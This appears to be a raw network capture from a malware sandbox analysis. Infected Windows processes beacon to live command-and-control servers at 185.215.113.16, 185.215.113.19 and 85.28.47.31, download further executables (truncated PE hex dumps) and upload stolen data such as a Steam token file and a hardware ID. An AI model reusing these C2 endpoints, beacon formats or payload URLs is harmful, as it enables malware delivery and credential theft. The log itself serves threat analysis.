00 00 00 00 00 00 20 0f 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$xl???W>?W>.?W>?F>?W>???F>?F>?w>?w??w>?Rich?PELf'rd@ @<P1T20@.textpr `.rdatal'(v@@.data@.rsrcn@@.relocPRp@B
Jul 26, 2024 08:58:17.643796921 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Jul 26, 2024 08:58:17.896471024 CEST	209	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:22.902743101 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Jul 26, 2024 08:58:23.152772903 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 08:58:23.153851032 CEST	55	OUT	GET /inc/5447jsX.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 08:58:23.399283886 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:23 GMT Content-Type: application/octet-stream Content-Length: 401920 Last-Modified: Thu, 25 Jul 2024 14:15:17 GMT Connection: keep-alive ETag: "66a25df5-62200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e8 67 9a 58 ac 06 f4 0b ac 06 f4 0b ac 06 f4 0b 7f 74 f7 0a a0 06 f4 0b 7f 74 f1 0a 05 06 f4 0b 7f 74 f0 0a b9 06 f4 0b 7f 74 f5 0a af 06 f4 0b ac 06 f5 0b 2e 06 f4 0b 6e 87 f0 0a be 06 f4 0b 6e 87 f1 0a f7 06 f4 0b 6e 87 f7 0a b4 06 f4 0b 5f 84 f1 0a ad 06 f4 0b 5f 84 f4 0a ad 06 f4 0b 5f 84 f6 0a ad 06 f4 0b 52 69 63 68 ac 06 f4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6b 5c a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 3a 02 00 00 f4 03 00 00 00 00 00 41 84 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gXtttt.nnn___RichPELk\f':A`@p@x(@\ H@`l.textG12 `.zzZ P6 `.rdata`>@@.data\| @.reloc\ @"@B
Jul 26, 2024 08:58:24.711663008 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003001&unit=246122658369
Jul 26, 2024 08:58:24.961123943 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 08:58:24.973726988 CEST	56	OUT	GET /inc/crypteda.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 08:58:25.227349997 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:25 GMT Content-Type: application/octet-stream Content-Length: 1464832 Last-Modified: Thu, 25 Jul 2024 14:17:36 GMT Connection: keep-alive ETag: "66a25e80-165a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e8 67 9a 58 ac 06 f4 0b ac 06 f4 0b ac 06 f4 0b 7f 74 f7 0a a0 06 f4 0b 7f 74 f1 0a 05 06 f4 0b 7f 74 f0 0a b9 06 f4 0b 7f 74 f5 0a af 06 f4 0b ac 06 f5 0b 2e 06 f4 0b 6e 87 f0 0a be 06 f4 0b 6e 87 f1 0a f7 06 f4 0b 6e 87 f7 0a b4 06 f4 0b 5f 84 f1 0a ad 06 f4 0b 5f 84 f4 0a ad 06 f4 0b 5f 84 f6 0a ad 06 f4 0b 52 69 63 68 ac 06 f4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ba 5d a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 3a 02 00 00 2c 14 00 00 00 00 00 41 84 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gXtttt.nnn___RichPEL]f':,A`@@x(d H@`l.textG12 `.zzZ P6 `.rdata`>@@.dataT F@.relocd "8@B
Jul 26, 2024 08:58:26.977438927 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Jul 26, 2024 08:58:27.228326082 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 08:58:31.621148109 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Jul 26, 2024 08:58:31.869802952 CEST	209	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:36.897789001 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Jul 26, 2024 08:58:37.147945881 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 08:58:37.150825024 CEST	56	OUT	GET /inc/25072023.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 08:58:37.397747040 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:37 GMT Content-Type: application/octet-stream Content-Length: 311296 Last-Modified: Thu, 25 Jul 2024 14:48:36 GMT Connection: keep-alive ETag: "66a265c4-4c000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 42 18 05 bd 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ec 02 00 00 d0 01 00 00 00 00 00 c6 b9 02 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 b9 02 00 4f 00 00 00 00 20 03 00 c4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 58 b9 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELB0 @ @tO X H.text `.rsrc @@.reloc@B
Jul 26, 2024 08:58:38.646651983 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000009001&unit=246122658369
Jul 26, 2024 08:58:38.895059109 CEST	209	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49808	85.28.47.31	80	8108	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:05.145731926 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBG Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="file"------EGHJKJKKJDHIDHJKJDBG--
Jul 26, 2024 08:58:06.186575890 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:58:06.317136049 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"files------FBKEHJEGCFBFHJJKJEHD--
Jul 26, 2024 08:58:06.506823063 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:58:06.516491890 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDB Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEHCAFHIJECGCAKFCGDB--
Jul 26, 2024 08:58:07.156868935 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49809	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:05.617667913 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:06.352006912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:06.352840900 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:06.598479033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49813	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:06.716708899 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:07.473253965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:07.476366997 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:07.720449924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49814	85.28.47.31	80	5332	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:07.245891094 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 08:58:07.978020906 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:58:07.995850086 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJ Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="hwid"07384824903B3023011859------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="build"sila------HIJJDGDHDGDAKFIECFIJ--
Jul 26, 2024 08:58:08.402311087 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Jul 26, 2024 08:58:08.750879049 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Jul 26, 2024 08:58:08.753060102 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49815	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:07.957813978 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:08.754062891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:08.785113096 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
